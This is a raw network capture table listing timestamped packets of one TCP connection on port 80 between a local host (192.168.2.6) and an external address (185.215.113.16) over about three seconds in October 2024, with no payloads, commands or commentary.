Oct 24, 2024 04:57:52.555063963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.555079937 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.581458092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.581494093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.581520081 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.581528902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.581572056 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.583120108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.583172083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.583204985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.583216906 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.627145052 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.630148888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.630203009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.630251884 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.787355900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.787444115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.787451982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.787467957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.787482977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.787487984 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.787499905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.787513018 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.787516117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.787532091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.787545919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.787547112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.787584066 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.787795067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.787810087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.787827969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.787834883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.787843943 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.787859917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.793355942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.793391943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.793422937 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.794476032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.794491053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.794519901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.822587967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.822634935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.822643995 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.822654963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.822695017 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.906474113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.906507969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.906537056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.906546116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.913938046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.913976908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.913990974 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.914011002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.914060116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.941881895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.941920042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.941971064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.941972971 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.942006111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.942040920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.942054033 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.942100048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.942151070 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.025891066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.025924921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.025959969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.025991917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.026009083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.026042938 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.033281088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.033315897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.033348083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.033425093 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.061364889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.061403036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.061433077 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.061438084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.061489105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.061516047 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.061522961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.061556101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.061589956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.061609030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.061634064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.144999981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.145020962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.145045996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.145059109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.145092010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.145136118 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.152585030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.152601004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.152618885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.152650118 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.180679083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.180747986 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.180749893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.180804968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.180896997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.180931091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.180959940 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.180963993 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.180999994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.181010008 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.181077003 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.264393091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.264417887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.264434099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.264467955 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.271858931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.271897078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.271939039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.271955967 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.271981001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.299916029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.299973965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.300005913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.300046921 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.300050974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.300102949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.300137997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.300139904 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.300172091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.300220966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.383605957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.383627892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.383646011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.383676052 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.391161919 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.391179085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.391196966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.391223907 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.391262054 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.419219971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.419256926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.419275045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.419291019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.419308901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.419327021 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.419387102 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.462063074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.462085962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.462101936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.462110996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.462142944 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.502743959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.502801895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.502846003 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.502851963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.502929926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.502968073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.510272026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.510303974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.510354996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.510406971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.510437965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.510479927 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.538469076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.538527966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.538566113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.538577080 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.538599968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.538645983 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.538671970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.538701057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.538746119 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.581623077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.581645012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.581667900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.581696033 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.622184992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.622226954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.622252941 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.622266054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.622315884 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.629528999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.629592896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.629606962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.629621029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.629630089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.629654884 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.657681942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.657695055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.657728910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.657747030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.657759905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.657803059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.700733900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.700750113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.700767040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.700782061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.700789928 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.700798035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.700814962 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.752134085 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.895292044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.895457029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.895492077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.895512104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.895525932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.895559072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.895570040 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.895592928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.895627022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.895637035 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.895659924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.895692110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.895725012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.895731926 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.895757914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.895764112 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.895793915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.895826101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.895864010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.895867109 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.895893097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.895935059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.897319078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.897490025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.897530079 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.940418005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.940485954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.940521955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.940550089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.940573931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.940607071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.940632105 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.940640926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.941847086 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:53.996884108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.996916056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:53.997047901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.013314009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.013344049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.015816927 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.060081959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.060116053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.060151100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.060184002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.060218096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.060250044 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.061321020 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.106019020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.106054068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.106087923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.106122971 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.106431961 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.132668972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.132720947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.132761955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.132797956 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.174856901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.179790020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.179862022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.179899931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.179924011 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.179933071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.179970980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.180001974 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.220968008 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.225400925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.225439072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.225478888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.225509882 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.251795053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.251832008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.251868963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.251966000 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.251966953 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.451123953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.451272964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.451307058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.451360941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.451394081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.451426983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.451463938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.451493979 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.451498032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.451493979 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.451559067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.451587915 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.451608896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.451642036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.451669931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.451675892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.451708078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.451736927 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.451741934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.451773882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.451802969 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.451807022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.453249931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.464958906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.464988947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.466166019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.491580009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.491615057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.491650105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.491689920 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.533493996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.538865089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.538901091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.538954973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.539001942 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.539005995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.539040089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.539072990 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.570306063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.570339918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.570507050 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.610830069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.610899925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.610935926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.610976934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.610996008 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.611041069 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.658205986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.658253908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.658309937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.658344030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.658377886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:54.658812046 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:54.705291033 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.002043962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.002082109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.002104044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.002136946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.002161026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.002176046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.002191067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.002190113 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:55.002209902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:55.002226114 CEST	80	49774	185.215.113.16	192.168.2.6
